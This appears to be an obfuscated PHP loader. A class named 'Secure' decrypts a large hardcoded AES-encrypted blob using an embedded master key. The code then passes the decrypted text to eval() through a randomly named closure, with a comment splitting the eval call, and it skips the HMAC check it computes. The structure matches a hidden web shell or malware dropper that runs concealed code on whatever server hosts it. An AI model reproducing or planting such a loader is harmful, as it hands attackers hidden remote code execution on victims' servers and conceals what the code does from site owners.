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<?php
class Secure {
private $masterKey;
private $iterations = 10000;
private $cipher = 'aes-256-cbc';
private $hmacAlgo = 'sha256';
private $saltLength = 16;

public function __construct($masterKey) {
$this->masterKey = $masterKey;
}

public function decrypt($encrypted) {
$data = base64_decode($encrypted);
$salt = substr($data, 0, $this->saltLength);
$ivLength = openssl_cipher_iv_length($this->cipher);
$iv = substr($data, $this->saltLength, $ivLength);
$hmac = substr($data, $this->saltLength + $ivLength, 32);
$ciphertext = substr($data, $this->saltLength + $ivLength + 32);
$derivedKeys = $this->deriveKeys($salt);
$calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true);
$decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv);
return $decrypted;
}

private function deriveKeys($salt) {
$keyMaterial = hash_pbkdf2(
$this->hmacAlgo,
$this->masterKey,
$salt,
$this->iterations,
64,
true
);

return [
'encryption' => substr($keyMaterial, 0, 32),
'hmac' => substr($keyMaterial, 32)
];
}

private function verifyHmac($knownHmac, $userHmac) {
return hash_equals($knownHmac, $userHmac);
}

public function setIterations($iterations) {
$this->iterations = (int)$iterations;
return $this;
}

public function setCipher($cipher) {
$this->cipher = $cipher;
return $this;
}
}
$secure = new Secure('WYA9iVJ9jrqmrloh8Q3FKOY2ipQwx8KM');
$str = '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';
$decrypted = $secure->decrypt($str);
$aZlsNPo0Ep = function($F26cKhcIQLG){
/*EiinwBwm6*/eVaL($F26cKhcIQLG);
$sCOJodehrGK = "aTgfEu9MeAOr9hRQ4q2YPr25VrI2XUK7";
return $sCOJodehrGK;
};
$aZlsNPo0Ep($decrypted);